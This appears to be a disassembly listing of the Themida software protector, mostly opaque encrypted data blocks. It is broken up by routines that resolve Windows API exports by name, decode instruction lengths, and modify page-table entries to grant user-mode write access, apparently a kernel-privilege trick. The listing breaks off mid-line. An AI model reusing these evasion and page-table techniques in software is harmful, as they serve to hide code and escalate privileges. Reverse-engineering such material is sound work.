dd 40000000h, 0B10DC350h, 0B0D30739h, 11E9B3h, 0B1710000h dd 0AD3967F5h, 1484FF64h, 0D0D3A757h, 0FAAFC0Fh, 8Ah, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0B7E0957Fh, 3D9EF83Ch, 0FC38BB7h, 283h, 8BCDB600h, 0C68166C0h dd 8D0F9ED6h, 15h, 0AE8h, 0FE8D1600h, 37B9FE83h, 0BEAD377Eh dd 170F626Dh, 0CDBD8359h, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 47Ah, 15818589h, 9D8D07FAh, 7FCE28Bh dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h, 47Ah, 15818589h dd 9D8D07FAh, 7FCDF2Ch, 585BD3FFh, 0CE8h, 2E79BF00h, 2062FC87h dd 0D8DF1CC0h, 0BE95Ch, 35EC0000h, 534A5FAh, 0DDE8E080h dd 0E9525F6Fh, 0Ah, 7542B4EBh, 4BBB9759h, 8B5AC2F0h, 0AE8C0h dd 0D71B0000h, 53499F02h, 62C745FDh, 3FD21ABBh, 0D7805954h dd 69C18120h, 0F500005Eh, 68h, 0AE6FB800h, 0E95E5C66h dd 13h, 88FB2F51h, 1C73A60Bh, 0FB1D0E00h, 0FD111786h, 8B3F4A8Bh dd 8B663114h, 0FF281F8h, 0E815786Ah, 9, 40243845h, 0A518682Eh dd 815BF9AAh, 7BC6C0F2h, 68B46054h, 0CE8h, 0E4A28000h dd 806CF5B4h, 0DA833A01h, 8161581Fh, 0EC8CF5C2h, 7EBB525Ah dd 8F18AB24h, 0C18A3104h, 0EE835B52h, 4EF88B01h, 0C0BB4E4Eh dd 81750368h, 0FFA240FEh, 9C850FFFh, 0FFFFFFFh, 68Ch, 0DCD08100h dd 0E9229FBDh, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h dd 0FA08A5B5h, 0DD858D07h, 0FF07FDA3h, 0D18589D0h, 8B07FA1Eh dd 0CEFC1FEh, 6000068h, 6A006A20h, 0D685702h, 0FF000100h dd 0FA1ED195h, 32E907h, 85C60000h, 7FA0665h, 30DF6856h dd 0B5FFA9C5h, 7FA2095h, 0A3DD858Dh, 0D0FF07FDh, 265D8589h dd 858D07FAh, 7FA2A55h, 6A406A50h, 95FF5605h, 7FA265Dh dd 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 5D858908h, 8B07FFB6h, 85890C42h dd 7FFB655h, 8910428Bh, 0FFB65985h, 93B58D07h, 8D07FFB6h dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0B65DB58Bh, 858B07FFh dd 7FFB655h, 0B659BD83h, 0F0007FFh, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 7FFB65Dh, 0B6E4B58Dh dd 858D07FFh, 5B8EA1h, 5A61D0FFh, 0B65D858Bh, 4C207FFh dd 5D858B00h, 8B07FFB6h, 5D858900h, 0CF07FFB6h, 0 ; --------------------------------------------------------------------------- pusha mov [ebp+7FFB6BAh], esi mov [ebp+7FFB6B6h], eax lea eax, [ebp+7FA2889h] mov eax, [eax+44h] mov [ebp+7FFB6F3h], eax lea esi, [ebp+7FFB729h] lea eax, [ebp+5B8EA1h] call eax popa mov eax, [ebp+7FFB6BAh] retn ; --------------------------------------------------------------------------- mov ebx, [ebp+7FFB6B6h] movzx eax, word ptr [ebx+3Ch] add ebx, eax mov ebx, [ebx+78h] add ebx, [ebp+7FFB6B6h] mov esi, [ebx+24h] add esi, [ebp+7FFB6B6h] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [ebp+7FFB6B6h] add esi, [ebp+7FFB6B6h] cld or ecx, 0FFFFFFFFh loc_5DEB9F: ; CODE XREF: Themida_:005DEBBDj ; Themida_:005DEBCCj inc ecx mov ebx, [ebp+7FFB6BAh] mov edx, [edi] add edx, [ebp+7FFB6B6h] add edi, 4 loc_5DEBB1: ; CODE XREF: Themida_:005DEBC5j mov al, [edx] test al, al jz loc_5DEBCA cmp al, [ebx] jnz loc_5DEB9F inc ebx inc edx jmp loc_5DEBB1 ; --------------------------------------------------------------------------- loc_5DEBCA: ; CODE XREF: Themida_:005DEBB5j cmp al, [ebx] jnz loc_5DEB9F pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [ebp+7FFB6B6h] mov [ebp+7FFB6BAh], eax mov esi, eax mov ecx, esi mov eax, ecx cmp dword ptr [ebp+7FFB6F3h], 0C0300000h jnz loc_5DEC0B shr eax, 14h and eax, 0FFCh jmp loc_5DEC13 ; --------------------------------------------------------------------------- loc_5DEC0B: ; CODE XREF: Themida_:005DEBF8j shr eax, 12h and eax, 3FF8h loc_5DEC13: ; CODE XREF: Themida_:005DEC06j mov edi, [ebp+7FFB6F3h] or dword ptr [edi+eax], 6 mov edx, [edi+eax] mov eax, edx and al, 81h cmp al, 81h mov eax, ecx jz locret_5DEC85 cmp dword ptr [ebp+7FFB6F3h], 0C0300000h jnz loc_5DEC4B shr eax, 0Ah and eax, 3FFFFCh jmp loc_5DEC53 ; --------------------------------------------------------------------------- loc_5DEC4B: ; CODE XREF: Themida_:005DEC38j shr eax, 9 and eax, 7FFFF8h loc_5DEC53: ; CODE XREF: Themida_:005DEC46j sub eax, 40000000h or dword ptr [eax], 6 test dword ptr [eax], 80h jz locret_5DEC85 cmp dword ptr [ebp+7FFB6F3h], 0C0300000h jz locret_5DEC85 and eax, 3FF8h mov eax, [eax-3FA00000h] or dword ptr [eax], 6 locret_5DEC85: ; CODE XREF: Themida_:005DEC28j ; Themida_:005DEC61j ... iret ; --------------------------------------------------------------------------- lea eax, [ebp+7FFB661h] mov [ebp+7FA0E05h], eax lea eax, [ebp+7FFB6F7h] mov [ebp+7FA0EADh], eax lea eax, [ebp+7FFB6BEh] mov [ebp+7FA2E79h], eax lea ecx, [ebp+7FFB928h] movsx eax, dx jmp loc_5DECC3 ; --------------------------------------------------------------------------- dd 3B2362Fh, 1F9A08DDh db 0, 2Bh, 8Ah ; --------------------------------------------------------------------------- loc_5DECC3: ; CODE XREF: Themida_:005DECB3j mov [ebp+7FA1CD9h], ecx or [ebp+7FA0145h], esi mov dword ptr [ebp+7FA31ADh], 7174h push 0 push edx call sub_5DECE4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DECE4 proc near ; CODE XREF: Themida_:005DECDCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5DECE4 endp ; --------------------------------------------------------------------------- dd 0D5B86078h, 1047B82h, 0FA344DB5h, 85C76107h, 7FA2BD9h dd 0 dd 79EBE66h, 108D0Fh, 7E80000h, 0F0000000h, 5BEFC63h, 0EF800232h dd 0B5FF5A16h, 7FA2EA9h, 3165BD89h, 95FF07FAh, 7FA1799h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ECC35545h dd 0FC8A098Fh, 830F3717h, 2, 6AF08Bh, 101995FFh, 0C08B07FAh dd 0E9546EEBh, 46320148h, 483FFE11h, 33F63807h, 0E3F77EF7h dd 9D34BDABh, 9FE7046Ah, 6E384FC4h, 5F722BE8h, 5B6ABA80h dd 9907CFBBh, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 30526748h dd 0E86448D6h, 0D3F28EB1h, 7266414Dh, 8C57034Ch, 536DB199h dd 28890B01h, 9EEFDF2h, 10C0843Bh, 0C40807D8h, 100FB4D6h dd 0A6C8AFF1h, 34418B22h, 53B26601h, 1C8E9h, 8 dup(41888800h) dd 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 300h, 14h dup(0) dd 8C200h, 80757266h, 0FEh, 11h dup(0) dd 353E900h, 0E8550000h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7FFBB73h pusha mov dword ptr [ebp+7FFBAC0h], 0 cmp word ptr [esi], 0A166h jnz loc_5DEFE0 mov dword ptr [ebp+7FFBAC4h], 6 jmp loc_5DF004 ; --------------------------------------------------------------------------- loc_5DEFE0: ; CODE XREF: Themida_:005DEFCBj lea eax, [ebp+7FFBAC8h] push eax lea eax, [ebp+7FFBB18h] push eax push esi push 0 call sub_5DF013 add esp, 10h and eax, 0FFh mov [ebp+7FFBAC4h], eax loc_5DF004: ; CODE XREF: Themida_:005DEFDBj popa add esi, [ebp+7FFBAC4h] mov eax, [ebp+7FFBAC0h] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5DF013 proc near ; CODE XREF: Themida_:005DEFF1p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_7FFBAB8 = dword ptr 7FFBAC0h push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5DF040 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5DF04C ; --------------------------------------------------------------------------- loc_5DF040: ; CODE XREF: sub_5DF013+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5DF04C: ; CODE XREF: sub_5DF013+28j push ebx push esi push edi loc_5DF04F: ; CODE XREF: sub_5DF013+91j ; sub_5DF013+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5DF062: ; CODE XREF: sub_5DF013+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 7FFBC2Ah lea ebp, [ebp+7FFBAA0h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5DF08F inc cl cmp cl, 0Bh jb loc_5DF062 loc_5DF08F: ; CODE XREF: sub_5DF013+6Bj cmp cl, 0Bh jz loc_5DF0EC cmp al, 66h jnz loc_5DF0CD cmp [ebp+var_5], 0 jnz loc_5DF04F cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5DF0C5 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5DF04F ; --------------------------------------------------------------------------- loc_5DF0C5: ; CODE XREF: sub_5DF013+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5DF0CD: ; CODE XREF: sub_5DF013+87j cmp al, 67h jnz loc_5DF04F cmp [ebp+var_6], 0 jnz loc_5DF04F xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5DF04F ; --------------------------------------------------------------------------- loc_5DF0EC: ; CODE XREF: sub_5DF013+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5DF118 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5DF11D ; --------------------------------------------------------------------------- loc_5DF118: ; CODE XREF: sub_5DF013+E4j movzx edi, al shr edi, 1 loc_5DF11D: ; CODE XREF: sub_5DF013+100j push ebp call $+5 pop ebp sub ebp, 7FFBCE2h lea ebp, [ebp+7FFB9A0h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5DF29F mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5DF1E3 dec ecx jz loc_5DF1C6 dec ecx jnz loc_5DF236 cmp [ebp+var_2], 0 jnz loc_5DF232 cmp [ebp+var_5], 0 jz loc_5DF1A5 mov byte ptr [ebp+arg_0+3], 2 loc_5DF1A5: ; CODE XREF: sub_5DF013+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 7FFBD6Eh mov [ebp+arg_7FFBAB8], 1 pop ebp jmp loc_5DF236 ; --------------------------------------------------------------------------- loc_5DF1C6: ; CODE XREF: sub_5DF013+16Dj cmp [ebp+var_2], 0 jnz loc_5DF210 cmp [ebp+var_5], 0 jz loc_5DF210 mov byte ptr [ebp+arg_0+3], 2 jmp loc_5DF210 ; --------------------------------------------------------------------------- loc_5DF1E3: ; CODE XREF: sub_5DF013+166j cmp [ebp+var_2], 0 jnz loc_5DF229 cmp [ebp+var_5], 0 jz loc_5DF218 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5DF210 mov byte ptr [ebp+arg_0+3], cl loc_5DF210: ; CODE XREF: sub_5DF013+1B7j ; sub_5DF013+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5DF236 ; --------------------------------------------------------------------------- loc_5DF218: ; CODE XREF: sub_5DF013+1DEj cmp dl, 5 jnz loc_5DF236 mov byte ptr [ebp+arg_0+3], dl jmp loc_5DF236 ; --------------------------------------------------------------------------- loc_5DF229: ; CODE XREF: sub_5DF013+1D4j cmp dl, 6 jnz loc_5DF236 loc_5DF232: ; CODE XREF: sub_5DF013+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5DF236: ; CODE XREF: sub_5DF013+174j ; sub_5DF013+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5DF264 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5DF246: ; CODE XREF: sub_5DF013+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5DF246 mov esi, edx loc_5DF264: ; CODE XREF: sub_5DF013+226j and al, 0FEh cmp al, 0F6h jnz loc_5DF299 cmp edi, 7Fh ja loc_5DF299 test bl, 38h jnz loc_5DF299 cmp [ebp+var_7], 0 jz loc_5DF293 movzx eax, [ebp+var_4] jmp loc_5DF296 ; --------------------------------------------------------------------------- loc_5DF293: ; CODE XREF: sub_5DF013+271j push 1 pop eax loc_5DF296: ; CODE XREF: sub_5DF013+27Bj mov [ebp+var_1], al loc_5DF299: ; CODE XREF: sub_5DF013+255j ; sub_5DF013+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5DF29F: ; CODE XREF: sub_5DF013+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5DF2CA dec eax dec eax jz loc_5DF2C0 and bl, 7 add [ebp+var_1], bl jmp loc_5DF2D2 ; --------------------------------------------------------------------------- loc_5DF2C0: ; CODE XREF: sub_5DF013+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5DF2CF ; --------------------------------------------------------------------------- loc_5DF2CA: ; CODE XREF: sub_5DF013+294j mov al, [ebp+var_3] add al, 4 loc_5DF2CF: ; CODE XREF: sub_5DF013+2B2j add [ebp+var_1], al loc_5DF2D2: ; CODE XREF: sub_5DF013+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5DF2FA movzx ecx, [ebp+var_1] inc ecx loc_5DF2E5: ; CODE XREF: sub_5DF013+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5DF2E5 loc_5DF2FA: ; CODE XREF: sub_5DF013+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5DF013 endp ; --------------------------------------------------------------------------- lea eax, [ebp+7FFBB6Dh] mov [ebp+7FA3101h], eax jmp loc_5DF47D ; --------------------------------------------------------------------------- dw 7E51h dd 690C4973h, 4DEA8460h, 598C4C9Ch, 57A50B41h, 57B7524Ah dd 59340B49h, 704C5242h, 25673B69h, 71F8523Bh, 0C514D0C0h dd 0B7A09CC4h, 14F9527Ch, 128520Dh, 0 dd 40000h, 2 dup(0) dd 350000h, 0 dd 80000h, 0 dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 40h dup(0) db 0 ; --------------------------------------------------------------------------- loc_5DF47D: ; CODE XREF: Themida_:005DF30Dj jmp loc_5E0AD3 ; --------------------------------------------------------------------------- push 7FFC205h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFC2EAh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFC3CCh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFC491h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFC636h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFC7BFh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFC8A2h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFC97Fh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFCB87h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFCC88h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFCD35h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFCDCBh jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFCF12h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFD447h jmp loc_59895C ; --------------------------------------------------------------------------- push 7FFD557h jmp loc_59895C ; --------------------------------------------------------------------------- dd 73FAB344h, 0FE853CCCh, 8D14AB57h, 169D10E6h, 0A42B926Fh dd 8C79190Ah, 0F407AE35h, 79933AC1h, 0E920C74Eh, 0AB1A51D8h dd 0E1D7712Eh, 2198D1EFh, 9AC0BE78h, 0F4C0EC2h, 259C6DE3h dd 0A312EB8Ah, 0F406ED6Ch, 16CF8CC1h, 0E42FE7E2h, 63FEB545h dd 0A51CDB18h, 74F12865h, 0EF7C316Eh, 0C5FA95E0h, 0EFDC410Ch dd 0FB962FDEh, 7914AD5Ch, 0E455207Bh, 77CA9500h, 0D0AA13CCh dd 3205h, 5D9DE100h, 3A6CE920h, 0A4EF7C1Fh, 0D089BE59h dd 5DEFDC2Eh, 79CA27F2h, 58D0AA25h, 0D5h, 38F572F1h, 98EFDC23h dd 2327E461h, 3C87EFDCh, 6D88B4F1h, 0EB8A259Ch, 6D0CA71Eh dd 0EB8A259Ch, 0DD1CA312h, 4CBEE034h, 0CB08E216h, 0E2375E5Eh dd 0A6CB42E7h, 7BC66154h, 0B02A930h, 9A645EA4h, 94DFC3AFh dd 0F7428AF9h, 2162CEF6h, 9BD21D0Dh, 7CE51C1Eh, 0B43B86EFh dd 89C0FD3Dh, 71472F0Ch, 4D84CFF7h, 15D24FCEh, 75F7D9C7h dd 35BAC92Ah, 310CDD3Eh, 0D9E01DF4h, 0E9A623A2h, 49F7D983h dd 5B02C1FEh, 0FAD917AEh, 2E2F17ACh, 13D62063h, 9D720000h dd 2FAA128h, 79852CB3h, 0E214BB42h, 609D44CBh, 2B38D259h dd 0DC635AA7h, 68EFC635h, 0F57C4BC1h, 7F06BF4Eh, 9F5CD948h dd 0FFEFE1D8h, 906D92C6h, 2FBA229h, 6EED2CB3h, 0E21734F1h dd 0C4994E7h, 205D9DE0h, 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh dd 0F25DEFDCh, 2579CA27h, 0C458D0AAh, 34000000h, 8A259C6Dh dd 0CA71EEBh, 0A518EED5h, 0E920BF0Ah, 2E2E9BD8h, 12E7E21Ch dd 0AC93CAFBh, 83CE6950h, 6A118E4h, 18BF7EBBh, 9EA7BAE1h dd 0F1FEBF11h, 0EDD40BA6h, 0C56CA910h, 94114885h, 0EF7D3692h dd 0EB2AB1FCh, 24BFF604h, 0B5F59CD9h, 1CC44178h, 76F77184h dd 0F675F42Bh, 0DA15BC79h, 4D6096F7h, 34E67B2h, 5712EFC6h dd 0EAA724A7h, 4AF7DA15h, 0E269B4FFh, 0B9F7CE3Bh, 2F173E10h dd 0F1F63904h, 57000012h, 0DF860DA0h, 6A11982Fh, 0F9A0279Eh dd 8229B007h, 1DB73E87h, 48718C36h, 0D4E11AC1h, 6154A64Dh dd 0EBDA33DAh, 41BE2D64h, 0EFE1D984h, 6D77ABE4h, 0FBA22990h dd 0ED2CB302h, 28C3FA06h, 6D74A0DDh, 0EB8A259Ch, 751CA312h dd 0F8973289h, 0D29B001h, 5F9CDCF5h, 1D0DAB28h, 1291EF7Ch dd 0DC1CD895h, 679938EFh, 1F6AB550h, 154691E2h, 843BC7AEh dd 2B34AE9h, 530D7AB7h, 57E7664Ch, 0B471EE17h, 14E7664Dh dd 0E03278B3h, 0AEF99D01h, 1DAF2C63h, 0A9EF0116h, 0E17C49C2h dd 0BD085996h, 0E26BB322h, 0EFE9D28h, 86D11CB7h, 0B7DCD24Fh dd 4930F6F6h, 1AA102B1h, 43445E8Ah, 0CB2C7DBAh, 941AF7DEh dd 98CF1A8Bh, 0E26958B1h, 0EAA724A3h, 4AF75E8Ah, 12EBC2FFh dd 0B55A65A3h, 0DBA62F9Ch, 120F98h, 0EFC63900h, 7A49C168h dd 9B04CF3h, 9225DB82h, 2099640Bh, 6E14FF99h, 0FCA32A93h dd 882FB60Fh, 15BC4372h, 0F46CDE4h, 0DA6623A0h, 8DC6EFE1h dd 259C6D59h, 9ED31B8Ah, 240CEA67h, 4DAEEF7Ch, 51ACB60Eh dd 2182CD68h, 3E897E37h, 0C8F910B7h, 6154AA91h, 9AE25124h dd 0A3B12E65h, 45F77444h, 2DDCC3FAh, 97660D94h, 0D414831Eh dd 0F5E36097h, 57FF7403h, 1FEED50Ch, 81781FA6h, 0FC972EDCh dd 4870D09Bh, 0D01B84F3h, 91674E85h, 0FB38831Eh, 5071B928h dd 0DBB016D3h, 26E32EFFh, 5CE9AA3Dh, 76ADF843h, 0CBFA10F7h dd 0BF7CF930h, 1FFFDB2Ch, 0DF4C89D4h, 7754421h, 0C7FA3883h dd 313F13FEh, 114A2366h, 9FE0000h, 76862DB4h, 0F511B83Fh dd 6EA047CEh, 0DC29D057h, 0DFC45EE5h, 68EFD633h, 0F47B4AC1h dd 8108BF4Dh, 0B9223DAh, 2BE865D4h, 8BEFE1DBh, 906D1E52h dd 0F20BF229h, 0A0DD28C3h, 0ED226AE1h, 0BA5037B6h, 0A761CE0Bh dd 0E3EF7C22h, 332AE764h, 3F8AEFDCh, 2F66B102h, 6702B348h dd 0D50CDF1Ch, 10AB12EEh, 874164C5h, 9B2C35ABh, 3F76875Eh dd 0C9F811B8h, 427FBF2Eh, 55A58C0Bh, 0C6B4215Eh, 28F7767Fh dd 0CAE542DDh, 0EEC736FFh, 0CB412867h, 0D018BFFCh, 2DE7649Bh dd 87FF709Eh, 0B02A13Ch, 77921FBAh, 9CD119ACh, 313DE665h dd 299C6F45h, 1DE2438Eh, 47B4F176h, 76AAB8Dh, 31C9B0E7h dd 679CE782h, 7CABAAAh, 3D74BF0Ah, 0D613AA56h, 28997017h dd 38F572F1h, 9807CABBh, 0BB27E461h, 3C8707CAh, 0ACE1B4F1h dd 7CACAF3h, 0E47F36C5h, 5FFEB545h, 7E47C2A9h, 0E4619833h dd 7CACB27h, 95B03C87h, 6615FCAh, 0DE837A3Bh, 0FEC54128h dd 82CD18B3h, 0B8A554FBh, 89246F46h, 669DD21Ah, 64ED8BE9h dd 5BE22D0Fh, 0A11E9D1Ch, 0FC4EDE4h, 7C4F944h, 670FC4EEh dd 39807D1Ch, 0CA16539Eh, 3976B68Fh, 9C6F8502h, 0EA21175Ch dd 0C4ACB06Dh, 7AC51017h, 0EFBE249h, 94D11CB7h, 0DE7940BDh dd 0C4ACF0A9h, 18812A17h, 0EE2D5C55h, 0F139E01Dh, 6C9E85BCh dd 2733F06Dh, 489317C4h, 0D451C0FDh, 1F5BD5DEh, 0E7CE0550h dd 0D9189F16h, 1CD1B830h, 0E11ED5ACh, 27C2F30Ah, 6447D88h dd 1701E985h, 0A5256833h, 0A300000Fh, 2BD2596Ch, 0B65DE4D3h dd 45EC734Ah, 0CE75FCB3h, 69038A33h, 942DD87Ah, 2095660Dh dd 0AD18F299h, 378E7F26h, 8D0A79B0h, 0EFE1DCD0h, 6DC3F730h dd 0FBA22990h, 0CC179D02h, 0E443007Dh, 58A3E7E2h, 9ED4A8F7h dd 0E019B853h, 9E1B9AD1h, 0E7E2FCE1h, 42BFF641h, 0E7E2FD85h dd 8A5D9AE5h, 9F66318Ch, 95D0576Eh, 0D750DBAEh, 1BE23h dd 7A13BC00h, 8E4BC8FDh, 0EEE7E217h, 11BE42A3h, 6DE71350h dd 0EB8A259Ch, 0A51CA312h, 74F12865h, 0EF7C316Eh, 0C5FA95E0h dd 0EFDC410Ch, 7F711A99h, 0CB8805BAh, 2BEFDCD2h, 5C177FE0h dd 6D12C69h, 0AAA498ABh, 359A43D0h, 0C3D563C4h, 4A75EE2Bh dd 0E000000h, 2355128Fh, 6AB5EFDCh, 5D9D012Dh, 3A6CE920h dd 86EF7C1Fh, 0BC576E9Fh, 82E33471h, 7D0BC1EDh, 0DF5C9379h dd 0EFDC9122h, 51EC3782h, 0DC91631Ch, 0BA85F0EFh, 0AA47DC67h dd 0D1F5D0h, 0A78E0000h, 2AC9645Bh, 5E9BE6DFh, 0D956D532h dd 0E7E2171Ch, 1DF4317Ch, 9B3AD5ECh, 1DBC576Eh, 388F81ECh dd 6C07529Dh, 0C16F3CCDh, 4E452104h, 0A6E56CB7h, 40774EBFh dd 0E26606C3h, 0DE1B66E7h, 0E26A7171h, 0DA455E7h, 0AB12EFD6h dd 0F038AF6Eh, 0DD0784BBh, 19EF76B7h, 88E9DC32h, 0EE91F267h dd 92E32029h, 7B671047h, 0AD0BB701h, 0EAD1407Dh, 781FA61Fh dd 9C25E08Dh, 1DA86201h, 0A1EC3782h, 1D134263h, 78BB8627h dd 0E1Ch, 5BE2DB2Ch, 0E66D44B4h, 75FCC33Fh, 0FE8538CEh dd 8C13AA57h, 0A461E1F2h, 1CEF961Dh, 817B22A9h, 0F108AF36h dd 930239C0h, 0E1DE5916h, 4C80B9EFh, 0F229906Dh, 0A2295649h dd 81BE6440h, 0D3E21BC2h, 7047B59Ch, 0D5787433h, 603E042Ch dd 0DB18C626h, 21BCF504h, 0B33A8B82h, 0DDAEFD0Ch, 0DEBE3BEDh dd 6DC40B1Ah, 4C97D2A5h, 27E3CA01h, 99B45F8Ah, 327D9233h dd 6BB322F5h, 9980FF36h, 6CB75261h, 0F22CC22Fh, 3FDEEF7Ch dd 0CE99FACDh, 0B212ABEh, 9CDB62ADh, 0D26D44B5h, 0A110E887h dd 749E964h, 6DC50000h, 598E2990h, 0E7E216A0h, 35D15AA2h dd 630C438Eh, 0E98441A4h, 6DDC19B0h, 79F7D2F0h, 0F22974EFh dd 9C6FF20Bh, 0F18C23D5h, 89105BA6h, 0FF9A2BE2h, 0DE1CA560h dd 271F30C9h, 39E92CF7h, 0F00000Dh, 973EC5F8h, 22C95067h dd 0B158DFE6h, 3AE1685Fh, 0D56FF6CFh, 0B944CEh, 8C39D279h dd 19AC5E05h, 0A312EB92h, 0F976E51Ch, 0EFE1DF3Ch, 6D2F639Ch dd 3C03D90h dd 45E7E217h, 0E2170BC8h, 7206BE7h, 43EA71BCh, 0C160FBCAh dd 3E9B6348h, 0F0911E5Fh, 9F6B0AA5h, 1EEE8D28h, 647F0CA7h dd 0AC74499h, 6AE7E306h, 7BD6D41Fh, 9D14E5B0h, 3A8D7F66h dd 0EC1F3E9Fh, 2593EBD9h, 9FDE9DDAh, 367342B8h, 506E78CBh dd 1459D7h, 0D5350000h, 10AB12EEh, 0D1B88C5h, 7DE7E212h dd 0FFFD763Ah, 1ED716FFh, 20E7E217h, 0EF6CA3D8h, 0EF79C5C9h dd 942DDC7Bh, 0D22B1249h, 0EBCB0FCDh, 0A8EC350Ch, 7E298491h dd 3CC30E59h, 0B24D6495h, 837BF613h, 34E9934h, 1FBF28C5h dd 0C609D427h, 0C5Ch, 1BA21BECh, 0A62D8474h, 35BC03FFh dd 0BE45788Eh, 4CD3EA17h, 0E421A1B2h, 5CAF56DDh, 0C13BE269h dd 31C86FF6h, 53C2F980h, 0E1E019D6h, 0C4079EFh, 66E02CD5h dd 0C523353Ch, 1558B188h, 0E631CCE3h, 0A861009Bh, 0E663E219h dd 0E7E2C429h, 0A61FEA89h, 3875C00Bh, 7E37C665h, 12B744E3h dd 0E2C3D895h, 0A2ED38E7h, 95607B07h, 38B72624h, 6F0AB951h dd 0C432EF24h, 4792E7E2h, 21E4AF0Ah, 1752D9E8h, 0D750902Ch dd 0A8B06AFh, 0AAF458E5h, 0DF46Dh, 0D7D00000h, 0E7E211C9h dd 0FC99F639h, 9DD2FFFFh, 2E9205Dh, 0D924BF06h, 8AB02D9Ch dd 3CEF7C48h, 5005A8DBh, 7CC70C57h, 0E4F2ACE1h, 1681EFDCh dd 0F00BF24Bh, 0A2DF2AC5h, 